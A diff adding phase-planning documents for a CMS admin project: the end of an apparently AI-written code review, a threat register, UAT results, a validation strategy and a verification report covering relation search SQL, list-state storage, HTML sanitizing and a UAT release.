+### WR-03: Stored list queries survive session expiry and are not scoped to an admin
+
+**File:** `admin/src/state/useAuth.ts:91-101`, `admin/main.ts:25-31`, `admin/src/state/listState.ts:24-26`
+**Issue:** The key is `summer-admin.list:<controllerId>`, with no admin id. Only an explicit `logout()` calls `clearListStates()`. When the session ends any other way (token expiry or refresh failure goes through `onUnauthorized` → `clearUser()` in `main.ts:25-31`, or the user simply closes the tab), the stored searches stay. The next admin who signs in on that browser gets them restored into the URL and sent to the server. Search terms often hold personal data such as customer names or emails, and T-16.1-03 claims "logout clears them" as the mitigation.
+**Fix:** Call `clearListStates()` from `clearUser()` so every session end clears them, or prefix the key with the signed-in admin's id (`summer-admin.list:<adminId>:<controllerId>`) and drop keys for other ids on login.
+
+### WR-04: The new relation SQL is only checked as DryRun strings and never runs against Postgres
+
+**File:** `modules/cabana/query_relation_test.go:133-146` (all relation tests); `modules/cabana/query.go:310-450`
+**Issue:** Every new test opens `openDryRunDB` with `DryRun: true` and asserts on the SQL text. None of these constructs are ever executed: the correlated `EXISTS (SELECT 1 FROM ... JOIN ... ON ... WHERE ... AND LOWER(CAST(... AS TEXT)) LIKE ? ESCAPE '\')`, the `ORDER BY (SELECT string_agg(CAST(..) AS TEXT), ', ' ORDER BY CAST(..) AS TEXT)) FROM ... )` raw order column merged with the primary-key tiebreak, and the pivot alias correlation. The journal plugin has a testcontainers harness (`admin_harness_test.go`), but no test there runs a relation search or a to-many sort. A typo in operator precedence, alias scoping or the escape literal would pass CI and fail only in production.
+**Fix:** Add a testcontainers-gated test in cabana, or in the journal admin harness. It should seed posts with zero, one and two categories (plus a soft-deleted category), run `?search=` on a belongsToMany, a hasMany and a belongsTo column, and run `?sort=categories&dir=desc`. Assert the returned ids and that `meta.total` equals the number of distinct posts.
+
+### WR-05: to-many sort key does not equal the displayed text, contradicting the code comment and docs
+
+**File:** `modules/cabana/query.go:314-324`, `modules/cabana/query.go:734-757`, `docs/backend/lists-and-filters.md:62`
+**Issue:** The sort uses `string_agg(value, ', ' ORDER BY value)`, which sorts the values alphabetically. The displayed cell (`relatedSelectMany`) joins the preloaded records in whatever order `Preload` returns them, which has no ORDER BY (in practice pivot or primary-key order). A post with categories inserted as "Zebra", "Apple" shows "Zebra, Apple" but sorts as "Apple, Zebra", so the rows look out of order. The comment ("string_agg in the same order is the comma-joined value the list displays") and the docs sentence ("sorts by its comma-joined values, the text the list shows") are both wrong.
+**Fix:** Make the display match the sort by sorting `values` in `relatedSelectMany` with `slices.Sort(values)` before joining. Alternatively, preload with the same order (`q.Preload(field, func(db *gorm.DB) *gorm.DB { return db.Order(column) })`) and correct the docs. Either way, add a test with related values in non-alphabetical order.
+
+## Info
+
+### IN-01: NULL placement for relation sorts differs from Winter
+
+**File:** `modules/cabana/query.go:318-332`
+**Issue:** A record with no related rows sorts on NULL. PostgreSQL puts NULLs last for ASC and first for DESC, while Winter on MySQL does the opposite. Admin users will see records without categories at the opposite end from the PHP admin.
+**Fix:** If parity matters, append `NULLS FIRST` for ASC and `NULLS LAST` for DESC to the raw order expression and to the to-one joined column.
+
+### IN-02: Relation search and sort validity is checked per request, not at compile time
+
+**File:** `modules/cabana/query.go:372-389,483-490`
+**Issue:** A `searchable: true` column on a polymorphic relation, or with a `select` the related model lacks, compiles at boot but makes every search answer 422 ("is not a searchable relation column"). Combined with WR-02, the list-state 422 handling then clears storage each time. This is a misconfiguration the admin cannot fix and that only shows up at runtime.
+**Fix:** Call `relationSubquery` for every searchable or sortable relation column during `CompileList`, or in the service constructor once the model is known, and fail boot, as the project already does for unknown column types.
+
+### IN-03: Two sources of truth for the main table name
+
+**File:** `modules/cabana/query.go:389` (`stmt.Schema.Table`) vs `modules/cabana/query.go:298,470,633-654` (`tableName(model)`)
+**Issue:** The relation subquery correlates on GORM's parsed table name, but plain search columns, filters and the primary-key tiebreak qualify with `tableName(model)`. For a model without `TableName()`, that returns `""`, and `quotedIdent(db, "")` produces `""."col"`, which is invalid SQL. This predates the phase, but the new code now mixes the two sources in one statement.
+**Fix:** Parse the model schema once in `ExecuteList` and pass `stmt.Schema.Table` to `applyListSearch`, `applyListFilters` and `applyListOrder`.
+
+---
+
+_Reviewed: 2026-10-09T21:20:45Z_
+_Reviewer: Claude (msd-code-reviewer)_
+_Depth: standard_

.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-SECURITY.md

@@ -0,0 +1,82 @@
+---
+phase: "16.1"
+slug: "journal-admin-urgent-fixes-relation-search-list-state-post-f"
+status: draft
+# threats_open = count of OPEN threats at or above workflow.security_block_on severity (the blocking gate)
+threats_open: 0
+asvs_level: 1
+created: "2026-10-10"
+---
+
+# Phase 16.1 — Security
+
+> Per-phase security contract: threat register, accepted risks, and audit trail.
+
+---
+
+## Trust Boundaries
+
+| Boundary | Description | Data Crossing |
+|----------|-------------|---------------|
+| Admin SPA → cabana list API | Authenticated backend users send search, sort and filter params that become SQL | Query params (untrusted input), list rows |
+| Post authors / import / Journal API → journal `content_html` | Markdown and raw HTML from admins, the import command and API writers is rendered and stored | Post HTML (stored, served to anonymous readers) |
+| Journal API → public Nuxt layer → browser | Stored HTML is rendered with `v-html` on public pages | Post and category HTML |
+| Admin browser storage | Remembered list queries persist across sessions on a shared browser | List query params per admin |
+| Release workstation → origin / UAT server | Tags, pushes, binary upload and restarts | Source, binary, server state |
+
+---
+
+## Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation | Status |
+|-----------|----------|-----------|----------|-------------|------------|--------|
+| T-16.1-01 | Tampering (SQLi) | modules/cabana/query.go relation search/sort | high | mitigate | Identifiers only from GORM's parsed relationship, quoted via `quotedIdent`/`qualifiedColumn`; polymorphic/unknown columns answer 422; search term `escapeLike`d and bound; sort limited to schema-declared columns and asc/desc; route behind `protect()` | closed |
+| T-16.1-02 | Tampering / EoP (stored XSS) | sm-journal-plugin classes/format_html.go | medium | mitigate | Planned regex `rejectUnsafe` proved bypassable (CR-01, 16.1-REVIEW.md). Replaced by goldmark + bluemonday allow-list on every host `content_html` writer (admin, import, API) and `CheckHTML` for categories (sm-journal-plugin a3551f2; decision note `.planning/notes/journal-html-sanitizing-bluemonday.md`); 35-payload token-checked tests; public layer replaced its regex gate with sanitize-html (vue-journal-layer 5beb1c5). Deployed to UAT: host cbb4e7d, binary e1ba3587…148ceb (server sha256 checked by the orchestrator 2026-10-09) | closed |
+| T-16.1-03 | Information Disclosure | admin/src/state/listState.ts | low | mitigate | Only list query params stored; browser storage limited to listState.ts/useSidebar.ts (enforced by scripts/check-phase10.sh). WR-03 cross-admin leak fixed in cd25af0: keys scoped `summer-admin.list:<adminId>:<controller>`, all keys cleared on logout, session expiry (`expireSession` via `onUnauthorized`) and sign-in as another admin; legacy keys swept | closed |
+| T-16.1-04 | Tampering | admin list state restore | low | mitigate | `readListState` validates shape and re-parses via `parseListQuery`; server re-validates page, per_page, sort and filters (422); a failed restored query is forgotten and the plain list reloads once (WR-02, cd25af0) | closed |
+| T-16.1-05 | DoS | cabana relation search | low | accept | See AR-01 | closed |
+| T-16.1-06 | Tampering (false-green release) | 16.1-02 release gate | medium | mitigate | Release sheet records `release-gate-ok`, counted smoke tests, vitest, dist and OpenAPI gates and the human decision verbatim (16.1-02-SUMMARY) | closed |
+| T-16.1-07 | Tampering / Repudiation | summercms v0.1.16 tag and pushes | high | mitigate | Annotated tag on d77393b containing 06d75cb, bd8626e, 9cac45c; origin tag object d8e3536 matches local; journal and host heads on origin | closed |
+| T-16.1-08 | Information Disclosure | UAT deploy | high | mitigate | DEPLOY.md rsync list excludes env files; no credentials in any SUMMARY; executors never requested or held credentials | closed |
+| T-16.1-09 | Tampering | UAT database | medium | mitigate | Read-only psql/log checks only; post data changed only by two human admin saves; `.prev` binary kept for rollback | closed |
+| T-16.1-10 | EoP | deploy sudo scope | low | accept | See AR-02 | closed |
+| T-16.1-11 | Repudiation (false green) | 16.1-VALIDATION.md | medium | mitigate | Row 16.1-03-03 updated 2026-10-10 to the post-CR-01 test names; re-run gives four top-level PASS lines | closed |
+| T-16.1-12 | Tampering / DoS | cabana DryRun tests | low | mitigate | DryRun DBs use `DryRun: true`, `DisableAutomaticPing`, `port=1` DSN; Postgres tests use testcontainers | closed |
+| T-16.1-SC | Tampering (supply chain) | go.mod / package.json | high | mitigate | summercms.go adds no dependency; sm-journal-plugin adds bluemonday v1.0.27 (+ aymerick/douceur v0.2.0, gorilla/css v1.0.1), named in the decision note, hash-pinned, `go mod verify` clean; vue-journal-layer adds sanitize-html 2.18.0 with decision note docs/decisions/0001-sanitize-html.md | closed |
+| T-16.1-13 (audit W-1) | Tampering (stored XSS, latent) | sm-journal-plugin translated `content_html` (API syncTranslations, import) | medium | mitigate | `classes.FormatTranslation` on every API and import locale write: derived from `content` or sanitized with the same policy; default-locale bypass covered (sm-journal-plugin 0d00ec8; harness tests TestJournalAPITranslatedContentHTML, TestJournalImportTranslatedContentHTML) | closed |
+| T-16.1-14 (audit W-2) | Tampering | sm-journal-plugin FormatHTML byte-preserving shortcut (duplicate attributes) | low | mitigate | Raw attribute names compared with tokenizer output; duplicates store the sanitized output and CheckHTML refuses (sm-journal-plugin 5f47083; TestFormatHTMLDuplicateAttributes, TestRawAttrNames, TestCheckHTML cases) | closed |
+
+*Status: open · closed · open — below high threshold (non-blocking)*
+*Severity: critical > high > medium > low — only open threats at or above workflow.security_block_on count toward threats_open*
+*Disposition: mitigate (implementation required) · accept (documented risk) · transfer (third-party)*
+
+---
+
+## Accepted Risks Log
+
+| Risk ID | Threat Ref | Rationale | Accepted By | Date |
+|---------|------------|-----------|-------------|------|
+| AR-01 | T-16.1-05 | Relation search uses EXISTS subqueries; the route is admin-only and page size is limited to schema options. The COUNT query evaluates EXISTS over every matching row, not one page; acceptable at current data sizes (≈100 posts) | 16.1-01 plan (accept disposition) | 2026-10-10 |
+| AR-02 | T-16.1-10 | Deploy uses a narrow sudo scope (nginx -t/reload, supervisorctl) documented in DEPLOY.md | 16.1-02 plan (accept disposition) | 2026-10-10 |
+
+---
+
+## Security Audit Trail
+
+| Audit Date | Threats Total | Closed | Open | Run By |
+|------------|---------------|--------|------|--------|
+| 2026-10-10 | 13 (register) + 2 audit warnings | 13 | 2 (below high, non-blocking) | msd-security-auditor (ASVS L1, boundary checks for T-16.1-01/02/WR-03) |
+| 2026-10-10 | 15 | 15 | 0 | orchestrator (T-16.1-13/14 fixed in 0d00ec8, 5f47083; tests re-run) |
+
+Audit notes: the auditor flagged W-3 (public layer gate) and W-4 (no record of the a3551f2 UAT deploy). W-3 is resolved by vue-journal-layer 5beb1c5; W-4 is recorded in T-16.1-02 above. The admin preview (`modules/cabana/field_markdown.go`) stays in goldmark safe mode.
+
+---
+
+## Sign-Off
+
+- [x] All threats have a disposition (mitigate / accept / transfer)
+- [x] Accepted risks documented in Accepted Risks Log
+- [x] `threats_open: 0` confirmed
+- [ ] `status: verified` set in frontmatter
+
+**Approval:** pending (T-16.1-13/14 fixes and the combined release)

.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-UAT.md

@@ -0,0 +1,54 @@
+---
+status: complete
+phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
+source: [16.1-VERIFICATION.md]
+started: 2026-10-10T00:00:00Z
+updated: 2026-10-10T01:00:00Z
+---
+
+## Current Test
+
+[testing complete]
+
+## Tests
+
+### 1. Install the hardened staging vhost on UAT (root)
+expected: Security headers present exactly once on public pages, /gfadmin unchanged in access, `nginx -t` passes
+result: pass
+evidence: |
+  2026-10-09 23:05 UTC via debian@ sudo. Backup /etc/nginx/sites-available/uat.grzybyfunkcjonalne.pl.bak-20261009T230555Z;
+  installed sha256 bce4d7f9…bd7c; `nginx -t` ok; reloaded. curl: /, a post, /_journal, a /storage 404 and /gfadmin each carry
+  HSTS, nosniff, X-Frame-Options DENY, Referrer-Policy, Permissions-Policy and CSP-Report-Only exactly once; /gfadmin keeps its
+  enforced CSP and Referrer-Policy same-origin, answers 200 without basic auth, locale cookie Secure; public paths still 401
+  off-server. On-server smoke (loopback): smoke: ok (98 urls); 200 pages show all six headers. Winter vhost untouched.
+
+### 2. Posts list search on UAT
+expected: Searching "cordyceps" at https://uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/posts returns rows (no "The list could not be loaded")
+result: pass
+evidence: user confirmed on UAT 2026-10-10 ("Confirmed")
+
+### 3. List state round trip on UAT (D-01, v0.1.17 build)
+expected: Sort plus a category filter survive opening a post and back, "Zapisz i zamknij", and leaving via the plugin rail; the URL carries them; a pasted URL in a new tab shows the same list; after logout and login the list opens unfiltered; signing in as a different admin on the same browser shows no earlier admin's search
+result: pass
+evidence: user confirmed all three sub-checks on UAT 2026-10-10 (sort/filter survive navigation; URL round trip; cleared after logout)
+
+### 4. Post form locales and fields on UAT (D-03)
+expected: An imported post's form shows pl first with title, slug, content and excerpt filled
+result: pass
+evidence: user confirmed on UAT 2026-10-10
+
+### 5. Review the prohibition verdicts
+expected: The nine prohibition verdicts in 16.1-VERIFICATION.md (all "not violated") are acceptable
+result: pass
+evidence: user reviewed the nine verdicts and replied "approved" 2026-10-10 (notes: #6 UAT vhost installed, Winter vhost untouched; #3 translated content_html derived from content when both are sent, shapes unchanged)
+
+## Summary
+
+total: 5
+passed: 5
+issues: 0
+pending: 0
+skipped: 0
+blocked: 0
+
+## Gaps

.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md

@@ -0,0 +1,100 @@
+---
+phase: "16.1"
+slug: "journal-admin-urgent-fixes-relation-search-list-state-post-f"
+# status lifecycle: draft (seeded by plan-phase) → validated (set by validate-phase §6)
+# audit-milestone §5.5 distinguishes NOT-VALIDATED (draft) from PARTIAL (validated + nyquist_compliant: false) (#2117)
+status: draft
+nyquist_compliant: true
+wave_0_complete: true
+created: "2026-10-09"
+---
+
+# Phase 16.1 — Validation Strategy
+
+> Per-phase validation contract for feedback sampling during execution.
+
+---
+
+## Test Infrastructure
+
+| Property | Value |
+|----------|-------|
+| **Framework** | Go `testing` (GORM DryRun for SQL-shape tests; testcontainers-go v0.44.0 for Postgres suites on a Docker host only); vitest + @vue/test-utils + happy-dom for the admin SPA |
+| **Config file** | none (Go); `admin/vite.config.*`, `admin/tests/setup.ts`, `admin/tests/helpers.ts` (vitest) |
+| **Quick run command** | `go test -count=1 -run '^(TestListRelationSearchSmoke\|TestListRelationSQL\|TestEnabledLocalesDefaultFirst\|TestEnabledLocalesDefaultFirstSmoke)$' ./modules/cabana` ; `go -C ../sm-journal-plugin test -count=1 ./classes/` ; `npm --prefix admin test -- tests/list/ListView.test.ts tests/form/FormView.test.ts tests/state` |
+| **Full suite command (this machine, no Docker)** | `go vet ./... && go -C ../sm-journal-plugin vet ./... && go test -count=1 ./cmd/summer -run TestDocsTree && npm --prefix admin run typecheck && npm --prefix admin test && bash scripts/check-admin-dist.sh` plus the quick Go commands |
+| **Full suite command (Docker host)** | `go test -count=1 ./...` in summercms.go and `go -C ../sm-journal-plugin test -count=1 ./...` |
+| **Estimated runtime** | ~30 s quick (Go pure tests + one vitest file set); ~3 min full local suite (dist rebuild dominates) |
+
+Docker is not usable on the planning machine (`permission denied` on the socket): `go test ./modules/cabana` and `go test -short ./...` in sm-journal-plugin fail there for every Postgres-backed test, so every per-task gate names the pure tests with `-run` and checks their `--- PASS` lines. The Postgres suites (`TestListQueryContract`, the new `TestListRelationSearchPostgres`, the new `TestPostsAdminResaveKeepsHTML`) run on a Docker host before `/msd-verify-work`.
+
+Pre-existing red, not caused by this phase: `scripts/check-phase10.sh --hygiene` already refuses `MLField.vue`, `mlLocale.ts` and `FileCaptionModal.vue` ("imported by no test"). This phase only extends that script's browser-storage allowlist and checks the storage rule with a direct grep.
+
+---
+
+## Sampling Rate
+
+- **After every task commit:** the task's own `<automated>` command (pure Go tests by name, vitest files, `go vet` of the touched package).
+- **After every plan wave:** the full local suite above; `scripts/check-admin-dist.sh` whenever `admin/` changed; `go test ./cmd/summer -run TestDocsTree` whenever `docs/` or a module README changed.
+- **Before `/msd-verify-work`:** full local suite green, Docker-host suites green, UAT smoke `smoke: ok (` on the server, and the manual UAT list below answered.
+- **Max feedback latency:** 60 seconds per task gate (the dist rebuild in plan 01 Task 4 is the slowest).
+
+---
+
+## Per-Task Verification Map
+
+| Task ID | Plan | Wave | Requirement | Threat Ref | Secure Behavior | Test Type | Automated Command | File Exists | Status |
+|---------|------|------|-------------|------------|-----------------|-----------|-------------------|-------------|--------|
+| 16.1-01-01 | 01 | 1 | D-02 | T-16.1-01 | Relation and column names come from the compiled schema and GORM's parsed relationship; the search value is bound | unit (DryRun, through `service.list`) | `go test -count=1 -run '^TestListRelationSearchSmoke$' -v ./modules/cabana` | ✅ created (plan 01) | ✅ green |
+| 16.1-01-02 | 01 | 1 | D-03 | — | N/A | unit | `go test -count=1 -run '^TestEnabledLocalesDefaultFirstSmoke$' -v ./modules/cabana` | ✅ created (plan 01) | ✅ green |
+| 16.1-01-03 | 01 | 1 | D-03 | T-16.1-02 | Raw HTML passes; script/iframe/object/embed, on* handlers and javascript/vbscript/data URLs are still refused on every write path | unit | `go -C ../sm-journal-plugin test -count=1 ./classes/` | ✅ extend `classes/format_html_test.go` | ✅ green |
+| 16.1-01-04 | 01 | 1 | D-01 | T-16.1-03, T-16.1-04 | Only list query params are stored, under `summer-admin.list:` keys; restored state passes the strict URL parser; logout clears it | unit (vitest) + dist drift | `npm --prefix admin test -- tests/list/ListView.test.ts tests/form/FormView.test.ts tests/smoke tests/state` ; `bash scripts/check-admin-dist.sh` | ✅ extend `admin/tests/list/ListView.test.ts` | ✅ green |
+| 16.1-02-01 | 02 | 2 | D-04 | T-16.1-06, T-16.1-07 | Release only after the local gate is green and a human approves the one-way tag push | gate + checkpoint | full local suite (plan 02 Task 1 verify) | ✅ | ✅ green (plan 02: release-gate-ok, human approved v0.1.16) |
+| 16.1-02-02 | 02 | 2 | D-04 | T-16.1-07, T-16.1-08 | Uploaded binary sha256 equals the local build; previous binary kept as `.prev`; no `.env` rsynced | e2e (server) | on-server `scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl` via loopback resolve | ✅ | ✅ green (plan 02: smoke: ok (98 urls), sha256 match) |
+| 16.1-02-03 | 02 | 2 | D-02, D-03 | T-16.1-09, T-16.1-10 | Read-only SQL and log checks; only posts 53 and 64 are re-saved, by a human | integration (server, read-only) | `ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc ..."` (raw-HTML marker count 0, post 64 footer present) | ✅ | ✅ green (plan 02: SQL check 0:1, no SQLSTATE 42703 since restart) |
+| 16.1-03-01 | 03 | 3 | D-01 | T-16.1-11 | Storage helpers survive disabled storage; logout clears list keys only | unit (vitest) | `npm --prefix admin test -- tests/state/listState.test.ts tests/state/useAuth.test.ts tests/list/ListView.test.ts tests/form/FormView.test.ts` | ✅ created (plan 03) | ✅ green |
+| 16.1-03-02 | 03 | 3 | D-02, D-03 | T-16.1-11, T-16.1-12 | Polymorphic relations and unknown columns refused (422); search value never inlined into SQL | unit (DryRun) + Postgres (Docker host) | `go test -count=1 -run '^(TestListRelationSQL\|TestEnabledLocalesDefaultFirst)$' -v ./modules/cabana` | ✅ extend files from plan 01 | ✅ green (pure); ✅ Postgres green on Docker 2026-10-09/10 |
+| 16.1-03-03 | 03 | 3 | D-03 | T-16.1-02, T-16.1-11 | Every unsafe case is sanitized (bluemonday, post-review CR-01 fix), scheme-like text and raw HTML survive, CheckHTML refuses unsafe category HTML | unit + journal harness (Docker host) | `go -C ../sm-journal-plugin test -count=1 -run '^(TestFormatHTMLSanitizesUnsafeHTML\|TestFormatHTMLKeepsSchemeLikeText\|TestFormatHTMLKeepsRawHTML\|TestCheckHTML)$' -v ./classes/` (four top-level PASS lines) | ✅ extend | ✅ green (pure); ✅ harness re-save green on Docker 2026-10-09/10 |
+
+*Status: ⬜ pending · ✅ green · ❌ red · ⚠️ flaky*
+
+---
+
+## Wave 0 Requirements
+
+- [x] `modules/cabana/query_relation_test.go` — DryRun harness (postgres dialector, never dialed; recording logger), relation fixtures (many2many, has_many, belongs_to) and the tracer smoke test; created by plan 01 Task 1, extended by plan 03 Task 2.
+- [x] `modules/cabana/locale_order_test.go` — created by plan 01 Task 2 (smoke), extended by plan 03 Task 2.
+- [x] `admin/tests/state/listState.test.ts` — created by plan 03 Task 1.
+- [x] No framework install: GORM, the postgres dialector, testcontainers-go and vitest are already in go.mod / package.json.
+
+---
+
+## Manual-Only Verifications
+
+| Behavior | Requirement | Why Manual | Test Instructions |
+|----------|-------------|------------|-------------------|
+| Journal posts list search on UAT returns rows (no "The list could not be loaded") | D-02 | Needs the UAT basic-auth credentials and an admin login, which the executor does not hold | In `/gfadmin/golem15/journal/posts` search "cordyceps"; rows appear. The executor then checks the Go log has no `SQLSTATE 42703` after the restart |
+| List state survives the form round trip, navigation and a shared URL | D-01 | Interactive flow on the real admin | Set a sort and a category filter, open a post, press back, then "Zapisz i zamknij" on another post: the list keeps both and the URL shows them. Leave through the rail and come back: restored. Paste the URL into a new tab: same list. Log out and in: the list opens unfiltered |
+| Imported post form shows title, slug, content and excerpt | D-03 | Real imported data on UAT | Open any imported post: the locale selector shows `pl` first and every field is filled |
+| Posts 53 and 64 get their HTML back | D-03 | Admin re-save needs credentials | Open each post and press "Zapisz"; the executor then runs the read-only SQL check (marker count 0, post 64 has its footer) |
+| Docker-host suites | D-01, D-02, D-03 | Docker unavailable on the executor machine | On a Docker host: `go test -count=1 ./...` (summercms.go) and `go -C ../sm-journal-plugin test -count=1 ./...` are green, including `TestListQueryContract`, `TestListRelationSearchPostgres` and `TestPostsAdminResaveKeepsHTML` |
+
+---
+
+## Validation Sign-Off
+
+- [x] All tasks have `<automated>` verify or Wave 0 dependencies
+- [x] Sampling continuity: no 3 consecutive tasks without automated verify
+- [x] Wave 0 covers all MISSING references
+- [x] No watch-mode flags (`vitest run` through `npm test`; `go test -count=1`)
+- [x] Feedback latency < 60s (confirmed during execution: the quick suite ran in 20 s on 2026-10-09)
+- [x] `nyquist_compliant: true` set in frontmatter (after plan 03 records the green runs)
+
+## Recorded runs (plan 03, 2026-10-09, machine without Docker)
+
+- Quick Go commands: four top-level `--- PASS` lines for `TestListRelationSearchSmoke`, `TestListRelationSQL`, `TestEnabledLocalesDefaultFirst` and `TestEnabledLocalesDefaultFirstSmoke`; `go -C ../sm-journal-plugin test -count=1 ./classes/` ok, with four top-level `--- PASS` lines for `TestFormatHTMLSanitizesUnsafeHTML`, `TestFormatHTMLKeepsSchemeLikeText`, `TestFormatHTMLKeepsRawHTML` and `TestCheckHTML` (updated 2026-10-10 after the CR-01 fix replaced `TestFormatHTMLRejectsUnsafeHTML`).
+- Full local suite: `go vet ./...`, `go -C ../sm-journal-plugin vet ./...`, `TestDocsTree`, `npm --prefix admin run typecheck`, `npm --prefix admin test` (76 files, 1144 tests) and `scripts/check-admin-dist.sh` ("dist matches a fresh build") printed `phase-16.1-local-gate-ok`.
+- Docker-host suites: still pending at plan 03 time (`TestListRelationSearchPostgres` and `TestPostsAdminResaveKeepsHTML` failed with "failed to create Docker provider", as designed). **Update 2026-10-10:** after the golem user joined the docker group, the full `go test -count=1 ./...` passed with Docker in summercms.go (37 packages, before and after cd25af0, and again for the v0.1.17 release) and in sm-journal-plugin, including `TestListQueryContract`, `TestListRelationSearchPostgres`, `TestPostsAdminResaveKeepsHTML` and the translation harness tests; the verifier re-ran them.
+- Manual UAT rows: the plan 02 executor confirmed posts 53 and 64 by read-only SQL. The list-state, form-locale and search checks were reported by the human before the re-saves reached UAT, so they stay open for `/msd-verify-work`.
+
+**Approval:** pending (manual UAT rows only; Docker-host suites green 2026-10-10)

.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VERIFICATION.md

@@ -0,0 +1,274 @@
+---
+phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
+verified: 2026-10-09T23:05:00Z
+status: passed
+score: 32/33 must-haves verified
+covered_files:
+  - .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-01-PLAN.md
+  - .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-01-SUMMARY.md
+  - .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-02-PLAN.md
+  - .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-02-SUMMARY.md
+  - .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-03-PLAN.md
+  - .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-03-SUMMARY.md
+  - admin/src/main.ts
+  - admin/src/state/listState.ts
+  - admin/src/state/useAuth.ts
+  - admin/src/state/useSidebar.ts
+  - admin/src/views/ListView.vue
+  - admin/tests/form/FormView.test.ts
+  - admin/tests/list/ListView.test.ts
+  - admin/tests/smoke/list.smoke.test.ts
+  - admin/tests/state/listState.test.ts
+  - admin/tests/state/useAuth.test.ts
+  - docs/backend/forms.md
+  - docs/backend/lists-and-filters.md
+  - modules/cabana/README.md
+  - modules/cabana/http.go
+  - modules/cabana/locale_order_test.go
+  - modules/cabana/query.go
+  - modules/cabana/query_relation_test.go
+  - modules/phrasebook/backend/lang/en/lang.yaml
+  - modules/phrasebook/backend/lang/pl/lang.yaml
+  - scripts/check-phase10.sh
+covered_digest: "v2:sha256:7e043180d992853a3d04039e3304ee81d631fc8574eeec0e96264b3b6ad7873d"
+behavior_unverified: 0
+overrides_applied: 0
+human_verification:
+  - test: "Install the hardened staging vhost as root: copy /srv/grzybyfunkcjonalne/deploy/grzybyfunkcjonalne-staging.conf (host commits fc10094, 387d0f4) over /etc/nginx/sites-available/uat.grzybyfunkcjonalne.pl, run sudo nginx -t, reload nginx, and compare sha256 of the installed and uploaded copies"
+    expected: "nginx -t passes; curl -sI https://uat.grzybyfunkcjonalne.pl/ (on the server, resolved to loopback) shows Content-Security-Policy-Report-Only, X-Content-Type-Options, X-Frame-Options, Referrer-Policy and Permissions-Policy; /gfadmin keeps its auth_basic exemption; smoke.sh --url still ends 'smoke: ok ('"
+    why_human: "Needs root on the UAT server. Read-only check on 2026-10-09 23:00 UTC: the uploaded file has the CSP Report-Only header (count 1), the enabled vhost does not (count 0)"
+  - test: "UAT posts list search: in /gfadmin/golem15/journal/posts search 'cordyceps' (a category name)"
+    expected: "Rows appear; no 'The list could not be loaded.'; the Go log shows no SQLSTATE 42703 after 2026/10/09 22:47:29"
+    why_human: "Needs UAT basic auth and an admin login. Automated proof covers the SQL on real Postgres (TestListRelationSearchPostgres) and a clean log since the restart, but the Go log does not record successful searches, so it cannot show that a search ran on the real categories pivot"
+  - test: "UAT list state (D-01): set a sort and a category filter, open a post, press back; repeat with save-and-close; leave through the navigation rail and return; paste the URL in a new tab; log out and in"
+    expected: "Sort and filter survive every return and are in the URL; the pasted URL shows the same list; after logout and login the list opens unfiltered"
+    why_human: "Interactive flow behind UAT basic auth; the human report ('all works') predates the re-saves and the v0.1.17 deploy (which changed the storage key to be per admin), so it is not independent confirmation of the deployed build"
+  - test: "UAT post form (D-03): open any imported post"
+    expected: "The locale selector shows pl first; title, slug, content and excerpt are filled with the stored values"
+    why_human: "Visual check on real data. Supporting evidence: the UAT locales table has en at sort_order 1 and the default pl at sort_order 2, the exact order the fix reorders, and enabledContentLocales is covered by 12 unit cases"
+  - test: "Review the nine judgment-tier prohibitions in the Prohibitions section below"
+    expected: "Each LLM-judge verdict (all 'not violated') is accepted or overturned"
+    why_human: "unverified-prohibition: judgment tier, the verifier's verdict is non-authoritative"
+---
+
+# Phase 16.1: Journal admin urgent fixes Verification Report
+
+**Phase Goal:** The Journal posts list and post form in the admin work on real imported data found on UAT. The fixes are released as a summercms tag, the host is bumped, UAT is redeployed and the staging smoke re-runs.
+**Verified:** 2026-10-09T23:05:00Z
+**Status:** human_needed
+**Re-verification:** No, initial verification
+
+All code, tests, tags, pushes and the deployed binary were checked against the repositories and the UAT server (read-only). Every automated must-have holds. What remains: the nginx vhost install, which needs root, and the browser checks on UAT that only a human can run.
+
+## Goal Achievement
+
+### Observable Truths
+
+**Roadmap contract (success criteria derived from the goal)**
+
+| # | Truth | Status | Evidence |
+|---|-------|--------|----------|
+| 1 | List search no longer fails with "Server error" on a belongsToMany relation | ✓ VERIFIED | `modules/cabana/query.go:369-449` builds `EXISTS (SELECT 1 FROM pivot AS cabana_p0 JOIN related AS cabana_r0 ...)` from `stmt.Schema.Relationships.Relations[field]`. `TestListRelationSearchPostgres` passed against real Postgres (run here through the Docker sudo path). The UAT Go log has 0 `SQLSTATE 42703` lines in the 32 lines since the 22:47:29 restart. |
+| 2 | List sort and filters are remembered after opening a record and going back | ✓ VERIFIED | `ListView.vue:200-221` restores the stored query before the first request. `FormView.test.ts` "returning to the list keeps its query (D-01)" covers back, cancel, save-and-close and delete. 4 files / 144 tests pass; the full suite has 76 files / 1171 tests. |
+| 3 | The post form shows the stored content | ✓ VERIFIED (code) | `http.go:986-993` moves `DefaultLocale` to index 0. `TestEnabledLocalesDefaultFirst` (12 cases) passes. The UAT `golem15_translate_locales` table has `en` at sort 1 and the default `pl` at sort 2, which confirms the root cause the fix targets. The on-UAT visual check is a human item. |
+| 4 | The post form shows the stored excerpt | ✓ VERIFIED (code) | Same mechanism as #3: the excerpt lives in the host column, under the default locale. |
+| 5 | Released as a summercms tag | ✓ VERIFIED | `git ls-remote`: v0.1.16 is d8e3536 on d77393b; v0.1.17 is c37de45 on c21fe36. v0.1.17 contains 06d75cb, bd8626e, 9cac45c, a8bce9c, 837922c and cd25af0. |
